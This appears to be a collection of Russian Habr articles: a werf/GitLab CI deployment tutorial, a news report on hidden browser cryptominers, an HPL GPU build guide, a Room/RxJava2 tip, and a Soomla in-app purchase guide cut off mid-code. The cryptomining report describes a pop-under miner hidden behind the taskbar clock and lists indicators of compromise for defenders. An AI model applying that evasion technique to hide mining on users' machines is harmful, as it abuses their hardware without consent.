В этом же репозитории `values.yaml` файл для официального gitlab-runner. Чтобы добавить shared runner зайдите в Gitlab > Admin > Shared Runners > Register an instance runner. Скопируем registration token. Теперь в скопированном репозитории делаем
```
cd gitlab-runner
helm repo add gitlab
vim values.yaml # set your domain and registry token
helm install --namespace gitlab-ci gitlab-runner -f values.yaml gitlab/gitlab-runner
```
Проверяем, что раннер появился. Я специально поставил тег werf, чтобы вы потом не потерялись.
Окружение готово. На данном этапе у нас получается такая схема:
### Деплой приложения
Установим werf локально к себе на компьютер. Это поможет в будущем быстрее разрабатывать приложения, смотеть рендер манифестов и работать с секретами helm.
Используем [эту ссылку на официальный сайт](https://werf.io/installation.html).
Проверим версию
```
werf version
v1.2.122+fix2
```
Создаем проект в Gitlab, называем my-app-werf (к примеру). Добавляем в проект файл `werf.yaml`
```
# werf.yaml
configVersion: 1
project: my-app-werf
deploy:
namespace: my-app-werf
---
image: my_app_werf
dockerfile: Dockerfile
```
Если у вас монорепо для микросервисов, то werf без проблем с этим справится. `werf.yaml` будет тогда выглядеть как-то так:
```
configVersion: 1
project: my-microservice-app-werf
deploy:
namespace: my-microservice-app-werf
---
image: my_app_werf_backend
dockerfile: Dockerfile
context: backend # папка сервиса
---
image: my_app_werf_frontend
dockerfile: Dockerfile
context: frontend # папка сервиса
```
Для наглядности сделаем простой веб сервер на Go:
```
// main.go
package main
import (
"fmt"
"html"
"log"
"net/http"
"os"
)
func main() {
http.HandleFunc("/", MainHandler)
log.Print("Starting server...")
log.Fatal(http.ListenAndServe(":"+os.Getenv("PORT"), nil))
}
func MainHandler(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))
}
```
Напишем `Dockerfile`
```
# Dockerfile
FROM golang:alpine as builder
WORKDIR /app
COPY . .
RUN go build -o app
FROM alpine as prod
WORKDIR /app
COPY --from=builder /app/app /app/app
ENV PORT=8080
ENTRYPOINT [ "/app/app" ]
```
Создаем шаблоны helm для деплоя по пути `.helm/templates` :
```
# .helm/templates/regcred.yaml
{{- if .Values.dockerconfigjson -}}
apiVersion: v1
kind: Secret
metadata:
name: regcred
type: kubernetes.io/dockerconfigjson
data:
.dockerconfigjson: {{ .Values.dockerconfigjson }}
{{- end -}}
```
```
# .helm/templates/app.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
labels:
app: my-app-werf
name: my-app-werf
spec:
selector:
matchLabels:
app: my-app-werf
replicas: 1
template:
metadata:
labels:
app: my-app-werf
spec:
imagePullSecrets:
- name: regcred
containers:
- name: my-app-werf
image: "{{.Values.werf.image.my_app_werf}}"
imagePullPolicy: IfNotPresent
ports:
- name: http
containerPort: 8080
protocol: TCP
---
apiVersion: v1
kind: Service
metadata:
name: my-app-werf
labels:
app: my-app-werf
spec:
ports:
- port: 8080
name: my-app-werf-service
selector:
app: my-app-werf
```
```
# .helm/templates/ingress.yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: my-app-werf
annotations:
cert-manager.io/cluster-issuer: letsencrypt-cluster
spec:
ingressClassName: nginx
tls:
- hosts:
- "app-werf.apps."
secretName: app-werf-mks-tls
rules:
- host: "app-werf.apps."
http:
paths:
- path: /
pathType: ImplementationSpecific
backend:
service:
name: my-app-werf
port:
number: 8080
```
Лично я использую nginx ingress с cert-manager поэтому в аннотациях указан cluster issuer.
Добавьте `.dockerignore` чтобы не копировать лишнее и кешировать только нужное.
```
.helm
.gitlab-ci.yml
werf.yaml
```
Остается вишенка на торте: gitlab CI/CD. Werf собирает все переменные окружения Gitlab и использует их при сборке и рендере манифестов. Плюс используется особый вид сборки, [подробнее тут](https://werf.io/documentation/v1.2/advanced/storage_layouts.html). Это опять же out of scope.
Пишем `.gitlab-ci.yml` и удивляемся как компактно он выглядит
```
# .gitlab-ci.yml
stages:
- build-and-deploy
build_and_deploy:
stage: build-and-deploy
image: registry.werf.io/werf/werf
variables:
WERF_SYNCHRONIZATION: kubernetes://gitlab-ci
script:
- source $(werf ci-env gitlab --as-file)
- werf converge
tags: ["werf"]
```
Одна команда `werf converge` делает все разом: собирает docker образ, пушит в registry и деплоит приложение из собранного образа.
Предлагаю сверится по структуре проекта
```
.
├── .dockerignore
├── .gitlab-ci.yml
├── .helm
│ └── templates
│ ├── app.yaml
│ ├── ingress.yaml
│ └── regcred.yaml
├── Dockerfile
├── go.mod
├── main.go
└── werf.yaml
```
Перед пушем можно проверить как будут выглядеть манифесты локально следующей командой.
```
werf render --dev
```
Коммитим изменения, пушим. Вуаля! Так выглядит пайплайн в Gitlab CI/CD:
Скриншот уже закешированной сборкиУ нас получилась такая схема:
### Плюсы и минусы
#### Плюсы
* Быстрое развертывание и простая интеграция.
#### Минусы
* Нет поддержания конфигурации в актуальном состоянии как у ArgoCD
Откровенно говоря, ArgoCD и Werf могут друг друга дополнять. [Подробности тут](https://werf.io/documentation/v1.2/advanced/ci_cd/werf_with_argocd/ci_cd_flow_overview.html). | https://habr.com/ru/post/679826/ | null | ru | null |
# Сайты-майнеры научились прятать браузер на компьютерах пользователей
Всё бóльшую популярность у злоумышленников получает партнёрская программа Coinhive по майнингу криптовалюты в браузерах пользователей (и другие JS-майнеры). Ничего не подозревающие юзеры заходят на сайт — и не обращают внимания, что у них резко возрастает нагрузка на CPU (Coinhive майнит Monero на алгоритме CryptoNight, который создаёт большой блок в памяти и предотвращает внутренний параллелизм, поэтому майнинг исключает использование ASIC и наиболее эффективен именно на CPU).
Злоумышленники продолжают взламывать сайты и размещать скрипты для майнинга. То же самое продолжается с расширениями для браузеров. Недавно они внедрили майнер CryptoLoot [даже в скрипт CookieScript.info](https://twitter.com/gwillem/status/930040319860670465), который помогает другим сайтам показывать предупреждение об использование кукисов по требованию Евросоюза — это самый популярный бесплатный сервис такого рода, его используют тысячи других сайтов, иначе им грозит штраф от Евросоюза до $500 000.
На деятельность злоумышленников можно было смотреть с усмешкой: ну сколько они там сгенерируют за две минуты, которые пользователь проводит на сайте? Эфемерная природа майнинга в браузере оставалась главным недостатком такого рода зловредов. Но специалисты Malwarebytes Labs [отмечают](https://blog.malwarebytes.com/cybercrime/2017/11/persistent-drive-by-cryptomining-coming-to-a-browser-near-you/), что владельцы «майнинг-ботнетов», к сожалению, сумели устранить этот недостаток. Теперь майнинг на компьютерах пользователей продолжается и после того, как они покинули заражённый сайт. И даже после закрытия браузера.
Тесты проводились в браузере Google Chrome. На [анимации](https://habrastorage.org/webt/h_/19/mr/h_19mrbr7u1rv0wjxyla27olqkw.gif) показано, что при закрытии браузера с обычным сайтом использование CPU сразу падает примерно до нуля. Но при закрытии сайта со встроенным майнером почему-то использование CPU остаётся на прежнем уровне более 60% (для маскировки майнер грамотно не загружает процессор по максимуму).
Хитрость в том, что несмотря на видимое закрытие окна браузера, на самом деле Google Chrome не закрывается, а остаётся в памяти. Зловред открывает *невидимое всплывающее окно* типа [pop-under](https://en.wikipedia.org/wiki/Pop-up_ad#Pop-under_ad_technology). Нужно признать, это очень грамотный приём.
Координаты всплывающего окна подобраны таким образом, чтобы спрятаться *точно за часами* на панели задач.
**Анимация**
Координаты окна могут немного отличаться, в зависимости от разрешения экрана на компьютере жертвы, но в оно помещается за часами. Правда, есть один нюанс. Если в операционной установлена тема оформления с полупрозрачностью, то окошечко всё-таки слегка просматривается за панелью (см. скриншот в начале статьи).
Специалисты по безопасности совершенно случайно наткнулись на этот трюк при посещении одного из порносайтов. Там работает агрессивная рекламная сеть Ad Maven, которая [обходит блокировщики рекламы](https://blog.malwarebytes.com/cybercrime/2017/05/roughted-the-anti-ad-blocker-malvertiser/) и, в свою очередь, подгружает ресурсы с облака Amazon — это один из способов обойти блокировщик рекламы. Хотя сама вредоносная нагрузка .wasm загружается не непосредственно с AWS, а с постороннего хостинга.
В коде скрипта можно заметить некоторые функции, которые упоминаются в [документации майнера Coinhive](https://coinhive.com/documentation/miner). Например, здесь есть проверка на поддержку WebAssembly — с помощью этой технологии браузер наиболее полно использует ресурсы установленного на компьютере аппаратного обеспечения. Если WebAssembly не поддерживается, то майнер переключается на более медленную JavaScript-версию (asm.js).
Как уже упоминалось выше, майнер не загоняет частоту процессора на 100%, а умеренно нагружает его, чтобы незаметно работать в течение длительного времени.
С учётом такого хитрого поведения вредоносных программ трудно полагаться полностью на блокировщики рекламы. Теперь после закрытия браузера нужно ещё проверить, что браузер исчез с панели задач, где висят запущенные процессы. Но если значок прикреплён к панели, он никуда не должен исчезать. Поэтому на всякий случай лучше после закрытия браузера проверить, что в диспетчере задач не осталось запущенных процессов типа chrome.exe и ему подобных. Хотя многие пользователи в наше время вообще никогда не закрывают браузер. Так что остаётся последний метод — постоянно следить за нагрузкой процессора, рекомендуют специалисты Malwarebytes Labs.
Они также публикуют индикаторы заражения для проверки, что на сайте не появилось ничего лишнего:
`145.239.64.86,yourporn[.]sexy,Adult site
54.239.168.149,elthamely[.]com,Ad Maven popunder
52.85.182.32,d3iz6lralvg77g[.]cloudfront.net,Advertiser's launchpad
54.209.216.237,hatevery[.]info,Cryptomining site`
Модуль Cryptonight WebAssembly:
`fd472bd04c01a13bf402775441b0224edef4c062031e292adf41e5a5897a24bc`
Любого мало-мальски технически грамотного человека вряд ли удастся обмануть таким образом. По крайней мере, ненадолго. Но существует огромное количество пользователей, которые ничего не знают о криптомайнерах в браузере, так что подобные зловреды могут стать весьма популярными. | https://habr.com/ru/post/408525/ | null | ru | null |
# Установка GPU версии HPL с OpenBLAS
Для попадания в список ТОП 50, 100, 500 HPC (High Performance Computing) комплексов подходят результаты тестирования, полученные с помощью бенчмарка HPL (High Performance Linpack).
Бенчмарк Linpack (Linear Algebra PACKage) реализует алгоритм решения СЛАУ методом LU разложения. Этот пакет общедоступен, прост в установке и запуске. Хорошо подходит для демонстрации производительности CPU.
Все, кто знаком с архитектурой графических ускорителей могут предположить, что еще лучше этот пакет подойдет для тестирования вычислительных устройств с архитектурой GPU. Однако, в сети доступна для скачивания версия 2011 года, с CUDA под архитектуру Fermi.
В данном руководстве я приведу пример сборки и запуска HPL для GPU.
*Как управлять доступом к ПО?
Как установить CUDA?
Как установить OpenMPI?
Как установить OpenBLAS?
Как установить HPL для GPU?*
### Установка пакета MODULES
Для управления переменными окружения установим пакет MODULES и подготовим тестовый модуль файл.
```
$ yum install environment-modules
$ mcedit /etc/modulefailes/test/v1.0
#%Module1.0
proc ModulesHelp { } {
global version
puts stderr "Modulefile for test v1.0"
}
set version v1.0
module-whatis "Modulefile for test v1.0"
# Our environment
setenv MAINDIR /nfs/software/test/v1.0
prepend-path PATH $env(MAINDIR)/bin
prepend-path C_INCLUDE_PATH $env(MAINDIR)/include
prepend-path CPLUS_INCLUDE_PATH $env(MAINDIR)/include
prepend-path LIBRARY_PATH $env(MAINDIR)/lib64
prepend-path LD_LIBRARY_PATH $env(MAINDIR)/lib64
```
### Проверка модуль файлов
Вероятность допустить ошибку при подготовке модуля довольно велика. Поэтому я провожу проверку всех путей, указанных в модуль-файле. Чтобы не проверять каждый путь вручную я подготовил скрипт. Если 0, то путь корректный.
```
$ cat check-modulefiles
#!/bin/sh
ModulePath=$1
MainDir=$(cat $ModulePath | grep "setenv MAINDIR" | cut -f7 -d " ")
ListOfPaths=$(cat $ModulePath | grep path | cut -f7 -d " ")
#Replace MainDir setenv in modulefile
ListOfPaths=$(echo $ListOfPaths | sed "s@\$env(MAINDIR)@$MainDir@g")
for u in $ListOfPaths; do
ls -la $u 1> /dev/null 2> /dev/null;
printf "%60s %4d\n" $u $?;
done
$ chmod +x check-modulefiles
$ ./check-modulefiles /etc/modulefiles/test/v1.0
/nfs/software/test/v1.0/bin 0
/nfs/software/test/v1.0/include 0
/nfs/software/test/v1.0/include 0
/nfs/software/test/v1.0/lib64 0
/nfs/software/test/v1.0/lib64 0
```
### Команды управление модулями
```
$ module avail
$ module add cuda/v10.1
$ nvcc –version
Cuda compilation tools, release 10.1, V10.1.168
$ module switch cuda/v10.1 cuda/v9.2
$ nvcc –version
Cuda compilation tools, release 9.2, V9.2.88
$ module list
$ module rm cuda/v9.2
```
1. Посмотрим список доступных для подключения модулей
2. Подключим модуль
3-4. Проверим версию
5. Поменяем модуль
6-7. Проверим версию
8. Посмотрим список подключенных модулей
9. Удалим модуль из списка подключенных
### Установка CUDA
Скачать CUDA 9.2 для Centos 7 можно [тут](https://developer.nvidia.com/cuda-92-download-archive?target_os=Linux&target_arch=x86_64&target_distro=CentOS&target_version=7&target_type=runfilelocal).
```
$ chmod +x cuda_9.2.run
$ ./cuda_9.2.run
Do you accept the previously read EULA? accept
Install the CUDA 9.2 Toolkit? yes
Enter Toolkit Location: /nfs/software/cuda/v9.2
Do you want to install a symbolic link at /usr/local/cuda? no
Install the CUDA 9.2 Samples? no
$ cat /etc/modulefiles/cuda/v9.2
#%Module1.0
proc ModulesHelp { } {
global version
puts stderr "Modulefile for cuda v9.2"
}
set version v9.2
module-whatis "Modulefile for cuda v9.2"
# Our environment
setenv MAINDIR /nfs/software/cuda/v9.2
prepend-path PATH $env(MAINDIR)/bin
prepend-path C_INCLUDE_PATH $env(MAINDIR)/include
prepend-path CPLUS_INCLUDE_PATH $env(MAINDIR)/include
prepend-path LIBRARY_PATH $env(MAINDIR)/lib64/stubs
prepend-path LIBRARY_PATH $env(MAINDIR)/lib64
prepend-path LD_LIBRARY_PATH $env(MAINDIR)/lib64/stubs
prepend-path LD_LIBRARY_PATH $env(MAINDIR)/lib64
$ module add cuda/v9.2
$ nvcc --version
Cuda compilation tools, release 9.2, V9.2.148
```
### Установка OpenBLAS
```
$ wget https://github.com/xianyi/OpenBLAS/archive/v0.3.6.tar.gz
$ tar -xzvf v0.3.6.tar.gz
$ cd OpenBLAS-0.3.6
$ mkdir -p /nfs/software/openblas/v0.3.6
$ make -j4
$ make PREFIX=/nfs/software/openblas/v0.3.6/ install
$ ls -la /nfs/software/openblas/v0.3.6/lib/
$ cat /etc/modulefiles/openblas/v0.3.6
#%Module1.0
proc ModulesHelp { } {
global version
puts stderr "Modulefile for openblas v0.3.6"
}
set version v0.3.6
module-whatis "Modulefile for openblas v0.3.6"
# Our environment
setenv MAINDIR /nfs/software/openblas/v0.3.6
prepend-path PATH $env(MAINDIR)/bin
prepend-path C_INCLUDE_PATH $env(MAINDIR)/include
prepend-path CPLUS_INCLUDE_PATH $env(MAINDIR)/include
prepend-path LIBRARY_PATH $env(MAINDIR)/lib
prepend-path LD_LIBRARY_PATH $env(MAINDIR)/lib
$ ls -la /nfs/software/openblas/v0.3.6/lib
```
### Установка OpenMPI
```
wget https://download.open-mpi.org/release/open-mpi/v2.1/openmpi-2.1.6.tar.gz
$ tar -xzvf openmpi-2.1.6.tar.gz
$ cd openmpi-2.1.6
$ mkdir -p /nfs/software/openmpi/v2.1.6
$ module add cuda/v9.2
$ ./configure --prefix=/nfs/software/openmpi/v2.1.6/ --with-cuda --enable-static
$ make
$ make install
$ cat /etc/modulefiles/openmpi/v2.1.6
#%Module1.0
proc ModulesHelp { } {
global version
puts stderr "Modulefile for openmpi v2.1.6"
}
set version v2.1.6
module-whatis "Modulefile for openmpi v2.1.6"
# Our environment
setenv MAINDIR /nfs/software/openmpi/v2.1.6
prepend-path PATH $env(MAINDIR)/bin
prepend-path C_INCLUDE_PATH $env(MAINDIR)/include
prepend-path CPLUS_INCLUDE_PATH $env(MAINDIR)/include
prepend-path LIBRARY_PATH $env(MAINDIR)/lib
prepend-path LD_LIBRARY_PATH $env(MAINDIR)/lib
$ module add openmpi/v2.1.6
$ mpirun --version
mpirun (Open MPI) 2.1.6
```
### Установка HPL для GPU
Настроим переменные окружения подключив модули и скачаем HPL 2.0.
```
$ module add openmpi/v2.1.6
$ module add cuda/v9.2
$ module add openblas/v0.3.6
$ wget https://developer.download.nvidia.com/assets/cuda/secure/AcceleratedLinpack/hpl-2.0_FERMI_v15.tgz
$ tar -xvf hpl-2.0_FERMI_v15.tgz
$ mv hpl-2.0_FERMI_v15.tgz hpl-2.0
$ cd hpl-2.0
```
Перед сборкой следует отредактировать несколько файлов. Первым будет Make.CUDA в директории hpl-2.0. Скопируем следующий код в Make.CUDA:
```
$ cat Make.CUDA
SHELL = /bin/sh
CD = cd
CP = cp
LN_S = ln -fs
MKDIR = mkdir -p
RM = /bin/rm -f
TOUCH = touch
ARCH = CUDA
TOPdir = /home/user/hpl-2.0
INCdir = $(TOPdir)/include
BINdir = $(TOPdir)/bin/$(ARCH)
LIBdir = $(TOPdir)/lib/$(ARCH)
HPLlib = $(LIBdir)/libhpl.a
MPdir = /nfs/software/openmpi/v2.1.6
MPinc = -I$(MPdir)/include
MPlib = -L$(MPdir)/lib -lmpi
LAdir = /nfs/software/openblas/v0.3.6
LAinc = -I$(LAdir)/include
LAlib = -L$(TOPdir)/src/cuda -ldgemm -L/nfs/software/cuda/v9.2/lib64 -lcuda -lcudart -lcublas -L$(LAdir)/lib -lopenblas
F2CDEFS = -DAdd__ -DF77_INTEGER=int -DStringSunStyle
HPL_INCLUDES = -I$(INCdir) -I$(INCdir)/$(ARCH) $(LAinc) $(MPinc)
HPL_LIBS = $(HPLlib) $(LAlib) $(MPlib)
HPL_OPTS = -DCUDA
HPL_DEFS = $(F2CDEFS) $(HPL_OPTS) $(HPL_INCLUDES)
CC = mpicc
CCFLAGS = -fopenmp -lpthread -fomit-frame-pointer -O3 -funroll-loops $(HPL_DEFS)
CCNOOPT = $(HPL_DEFS) -O0 -w
LINKER = $(CC)
LINKFLAGS = $(CCFLAGS)
ARCHIVER = ar
ARFLAGS = r
RANLIB = echo
MAKE = make TOPdir=$(TOPdir)
```
11. Путь до директории hpl-2.0
17. Путь до OpenMPI
21. Путь до OpenBLAS
23. Путь до CUDA lib64
Заменим в файле hpl-2.0/src/cuda/cuda\_dgemm.c следующие строки:
```
$ mcedit src/cuda/cuda_dgemm.c
…
// handle2 = dlopen ("libmkl_intel_lp64.so", RTLD_LAZY);
handle2 = dlopen ("libopenblas.so", RTLD_LAZY);
…
// dgemm_mkl = (void(*)())dlsym(handle, "dgemm");
dgemm_mkl = (void(*)())dlsym(handle, "dgemm_");
…
// handle = dlopen ("libmkl_intel_lp64.so", RTLD_LAZY);
handle = dlopen ("libopenblas.so", RTLD_LAZY);
…
// mkl_dtrsm = (void(*)())dlsym(handle2, "dtrsm");
mkl_dtrsm = (void(*)())dlsym(handle2, "dtrsm_");
```
Соберем и запустим HPL на 4x GPU:
```
$ make arch=CUDA
$ cd bin/CUDA
$ export LD_LIBRARY_PATH=/home/user/hpl-2.0/src/cuda/:$LD_LIBRARY_PATH
$ mpirun -np 4 ./xhpl
================================================================================
HPLinpack 2.0 -- High-Performance Linpack benchmark -- September 10, 2008
Written by A. Petitet and R. Clint Whaley, Innovative Computing Laboratory, UTK
Modified by Piotr Luszczek, Innovative Computing Laboratory, UTK
Modified by Julien Langou, University of Colorado Denver
================================================================================
An explanation of the input/output parameters follows:
T/V : Wall time / encoded variant.
N : The order of the coefficient matrix A.
NB : The partitioning blocking factor.
P : The number of process rows.
Q : The number of process columns.
Time : Time in seconds to solve the linear system.
Gflops : Rate of execution for solving the linear system.
The following parameter values will be used:
N : 25000
NB : 768
PMAP : Row-major process mapping
P : 2
Q : 2
PFACT : Left
NBMIN : 2
NDIV : 2
RFACT : Left
BCAST : 1ring
DEPTH : 1
SWAP : Spread-roll (long)
L1 : no-transposed form
U : no-transposed form
EQUIL : yes
ALIGN : 8 double precision words
--------------------------------------------------------------------------------
- The matrix A is randomly generated for each test.
- The following scaled residual check will be computed:
||Ax-b||_oo / ( eps * ( || x ||_oo * || A ||_oo + || b ||_oo ) * N )
- The relative machine precision (eps) is taken to be 1.110223e-16
- Computational tests pass if scaled residuals are less than 16.0
================================================================================
T/V N NB P Q Time Gflops
--------------------------------------------------------------------------------
WR10L2L2 25000 768 2 2 16.72 6.232e+02
--------------------------------------------------------------------------------
||Ax-b||_oo/(eps*(||A||_oo*||x||_oo+||b||_oo)*N)= 0.0019019 ...... PASSED
================================================================================
Finished 1 tests with the following results:
1 tests completed and passed residual checks,
0 tests completed and failed residual checks,
0 tests skipped because of illegal input values.
--------------------------------------------------------------------------------
End of Tests.
================================================================================
```
Для редактирования параметров теста используйте файл hpl-2.0/bin/CUDA/HPL.dat | https://habr.com/ru/post/497878/ | null | ru | null |
# Room + RxJava2 Flowable получение пустого списка при отсутствии данных
Когда я начал использовать Room для работы с БД, я задавался вопросом, как же более правильно сформировать подписку на изменения данных в таблице БД, чтобы если при подписке не было данных, то наш репозиторий сразу возвращал пустой список, а не ждал появления данных.
Под подпиской я имею в виду получение текущих данных, а так-же отслеживание изменений в таблице БД и при изменении данных получение их в нашей подписке.
Как вы знаете, для создания подписки возвращающей новые данные при изменении данных в таблице, нужно использовать **Flowable** из RxJava2.
Примерно так будет выглядеть Dao интерфейс в коде:
```
@Dao
interface DataDao {
@Query("SELECT * FROM DataTable")
fun getData(): Flowable>
}
```
Но, теперь если в нашем приложении мы попытаемся получить список `Data` из таблицы **DataTable**, а в таблице нет записей, то наша Flowable подписка будет ждать появления данных в этой таблице, а нам не нужно ждать этого, нам нужно показать пользователю экран с текстом "Нет данных".
```
dataDao.getData()
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe { data ->
//если в таблице нет записей, то наша Flowable подписка будет ждать появления данных в этой таблице
}
```
Для получения требуемого поведения можно сделать следующе.
Добавляем в Dao функцию получения кол-ва записей в таблице:
```
@Query("SELECT COUNT(*) FROM DataTable")
fun getDataCount(): Flowable
```
Данная функция сразу при вызове вернет значение 0, если в таблице нет данных, а так-же каждый раз при изменении данных в таблице будет иметь новое значение кол-ва записей.
Напишем вот такой код в нашем репозитории для получения необходимого поведения:
```
class DataRepository(private val dataDao: DataDao) {
fun getData(): Flowable> {
return dataDao.getDataCount().switchMap {
if (it > 0)
dataDao.getData()
else
Flowable.just(emptyList())
}
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
}
}
```
В итоге мы получаем репозиторий с функцией `getData()` который при отсутствии данных в таблице вернет пустой список, а при появлении данных вернет новый список с данными.
Пример использования:
```
dataRepository.getData()
.subscribe { data ->
//репозиторий вернет либо пустой список, либо список с данными
}
```
p.s. В данном случае можно еще подумать над тем, что можно у функции `getData` в `Dao` поменять тип Flowable на Maybe (чтобы внутри нашей подписки не было двух Flowable ожидающих изменения данных в таблице) либо сделать `dataDao.getData().take(1)`, но и в приведенном коде репозитория нет ничего криминального:) ведь используется `switchMap`. | https://habr.com/ru/post/591819/ | null | ru | null |
# In App Purchase с помощью Soomla. Быстро и просто
В последнее время пришлось интегрировать внутриигровые покупки в свою игру и встал вопрос, а какой же плагин для этого использовать под Unity3D? Есть такие вещи как OpenIAB, Prime31, Unibill и Soomla. Более мелкие вещи брать в расчет не будем, ибо некоторые из них либо не обновляются вообще, либо имеют какие-то критические проблемы. Кто хочет знать, почему выбор пал именно на Soomla, и как его интегрировать прошу под кат.
Итак, плагинов, как видно, много и по названию топика видно, какую систему я выбрал в итоге, но почему? Давайте рассмотрим каждую систему отдельно.
### OpenIAB
Плюсы:
* Бесплатность
* Открытость
* Большое сообщество
* Простота
* Неплохая документация
* Поддержка iOS и Android (Позднее оказалось, что не так)
Минусы:
* Почти нет информации о работе с iOS
* Обновления весьма редки (Последнее было 4 месяца назад)
Мнение:
Грешу, я и ранее работал с этой системой, но только под Android, когда же я решил попробовать поработать с стороной iOS, то меня ждало разочарование, OpenIAB просто не работал, т.к. его event'ы не давали отклика, и как на инициализацию магазина, потому от этой системы пришлось отказаться, но стоит отдать ей должное, под Android работала она безупречно, но в этом и не приходилось сомневаться, ведь даже исходная версия на c++ написана только под эту ОС.
### Unibill
Плюсы:
* Поддержка множества магазинов
* Отличная документация
* Простота и легкость в освоении
Минусы:
* Цена (175$)
* Сообщество, как таковое почти отсутствует
Мнение:
С Unibill все оказалось просто. Сразу были вопросы к цене, 175$ не совсем маленькие деньги, особенно учитывая, что есть более дешевые аналоги, потому сразу нет, но если есть финансы и не хочется тратить много времени, то отличный вариант.
### Prime[31]
Плюсы:
* Отличная документация
* Простота и легкость в освоении
* Поддерживает множество магазинов, но с оговоркой.
* Большое сообщество.
* Под каждую платформу цена плагина 70 $.
Мнение:
Плагины от prime[31] славятся своим качество, но цена тоже оставляет желать лучшего, 70$ под каждую платформу отдельно совсем не предел мечтаний, но тут уже проверенная технология с огромным сообществом и отличной документацией и т.к. нужен был плагин всего под 2 платформы цена выходила ниже, чем у Unibill, но все равно был выбран не этот вариант, а нижеследующий.
### Soomla
Плюсы:
* Отличная документация
* Простота и легкость в освоении
* Поддерживает основные мобильные платформы.
* Большое сообщество.
* Бесплатность.
Минусы:
* Работа через их личный кабинет
Мнение:
Soomla же показался просто отличным вариантом, т.к. у него есть все плюсы плагинов от prime[31], но при этом эта система полностью бесплатна, хоть и смутило то, что придется еще работать через личный кабинет на их сайте, но на самом деле, делать там почти ничего не нужно, потому выбор остановился на этом варианте.
Интеграция в проект
-------------------
Первое, что нужно сделать (Внезапно!) скачать собственно плагин, можно с Asset Store, можно с официального сайта, разницы нет. И там и там плагин обновляется почти одновременно.
После импорта в проект плагина, первое наперво нужно выставить настройки в editor'е.
В Soomla Secret вы должны указать Game Key, который вы получите при создании приложения в личном кабинете Soomla. **Без этого работать ничего не будет!**
Debug Native и Debug Unity это на ваш личный выбор. В Android Settings package name определяется автоматически, а дальше вы должны собственно выбрать, какие магазины на Android вы используете. Думаю, API Key понятно откуда брать. Receipt Validation так же на ваш выбор. Все, основу мы настроили, пора переходить к скриптам.
Нам нужно собственно описать в отдельном классе наши товары, для того, чтобы мы могли покупать их, к примеру так:
**Инициализация покупок**
```
using Soomla.Store;//Подключаем Soomla
using Soomla;//Подключаем Soomla
public class dataIAP : IStoreAssets { //Наследуемся от интерфейса IStoreAssets
public int GetVersion() { //Инициализируем функцию GetVersion, что она возвращает важно, если вы будете смотреть информацию в личном кабинете сумлы
return 0;
}
public VirtualCurrency[] GetCurrencies() { //Указываем все наши валюты, которые мы продаем за реальные деньги
return new VirtualCurrency[]{ITEM_OBJECT};
}
public VirtualCurrencyPack[] GetCurrencyPacks(){ //Указываем все паки с нашими валютами
return new VirtualCurrencyPack[]{PACK_1_OBJECT, PACK_2_OBJECT};
}
public VirtualGood[] GetGoods() {
return new VirtualGood[0]; //Виртуальные блага
}
public VirtualCategory[] GetCategories() {
return new VirtualCategory[0]; //Категории виртуальных благ и реальных вещей
}
public const string ITEM_ID = "ITEM_ID";// указываем любой удобный ID
public const string PACK_1 = "ID_PACK_1";// указываем id, который мы указали в магазине (App Store, Google Play) для данного пака
public const string PACK_2= "ID_PACK_2";// указываем id, который мы указали в магазине (App Store, Google Play) для данного пака
public static VirtualCurrency ITEM_OBJECT = new VirtualCurrency(//создаем объект нашей виртуальной валюты
"ITEM_ID ",//Имя валюты
"ITEM_COIN", //описание валюты
ITEM_ID //id виртуальной валюты
);
public static VirtualCurrencyPack PACK_1_OBJECT = new VirtualCurrencyPack(//создаем объект пака с виртуальной валютой
"PACK_1",//имя пака
"",//Описание пака
PACK_1 ,// Указываем id пака
100, //Количество валюты в паке
ITEM_ID ,//id валюты в паке
new PurchaseWithMarket(PACK_1 , 1.99) //Первым указываем id пака в магазине, вторым его цену(не критично, если отличается)
);
public static VirtualCurrencyPack PACK_2_OBJECT = new VirtualCurrencyPack(//аналогично
"PACK_2",
"",
PACK_2,
200,
ITEM_ID ,
new PurchaseWithMarket(PACK_2, 5.99)
);
}
```
Благодаря комментариям более или менее все понятно, но я пропустил 2 вещи это виртуальные 'блага' и категории, они в основе нужны тем, кто хочет отслеживать продажу даже простых виртуальных покупок, не за реальные деньги, а даже за ту валюту, которую вы продаете за реальные деньги через личных кабинет сумлы, о котором мы поговорим позже.
Итак, мы прописали все наши внутриигровые покупки, но как же теперь передать эти данные плагину и как же совершать покупки?
А это весьма просто:
**Инициализация Soomla**
```
using Soomla;
using Soomla.Store;
public class Test {
public Test () {
SoomlaStore.Initialize (new dataIAP ());//Передаем при инициализации наш объект с данными о паках
#if UNITY_ANDROID
SoomlaStore.StartIabServiceInBg (); //Обязательно для Android, без этого ничего работать не будет
#endif
}
public void PayPack_1()
{
SoomlaStore.BuyMarketItem (StoreInfo.CurrencyPacks [0].ItemId, "");//Купить первый пак
}
public void PayPack_2()
{
SoomlaStore.BuyMarketItem (StoreInfo.CurrencyPacks [1].ItemId, "");//Купить второй пак
}
public void Quit()
{
SoomlaStore.StopIabServiceInBg ();
}
}
```
Очень простая инициализация, но нас ведь еще и интересуют события, которые нам доступны, а вот и они(Основные):
**События**
```
using System;
using System.Collections.Generic;
using Soomla;
using Soomla.Store;
public class ExampleEventHandler {
//Подписка на события при создании объекта класса
public ExampleEventHandler () {
//Вызывается, когда покупка за реальные деньги совершена
StoreEvents.OnMarketPurchase += onMarketPurchase;
//Вызывается, когда покупка за внутриигровую валюту совершена
StoreEvents.OnItemPurchased += onItemPurchased;
//Вызывается, если система покупок поддерживается
StoreEvents.OnBillingSupported += onBillingSupported;
//Вызывается, если система покупок не поддерживается
StoreEvents.OnBillingNotSupported += onBillingNotSupported;
//Вызывается, когда начата покупка за реальные деньги
StoreEvents.OnMarketPurchaseStarted += onMarketPurchaseStarted;
//Вызывается, когда начата покупка за внутриигровую валюту
StoreEvents.OnItemPurchaseStarted += onItemPurchaseStarted;
//Вызывается, когда покупка за реальные деньги отменена
StoreEvents.OnMarketPurchaseCancelled += onMarketPurchaseCancelled;
//Вызывается, когда магазин инициализирован
StoreEvents.OnSoomlaStoreInitialized += onSoomlaStoreInitialized;
//Вызывается, когда появился внутрянняя ошибка Soomla
StoreEvents.OnUnexpectedStoreError += onUnexpectedStoreError;
//Только для андроид
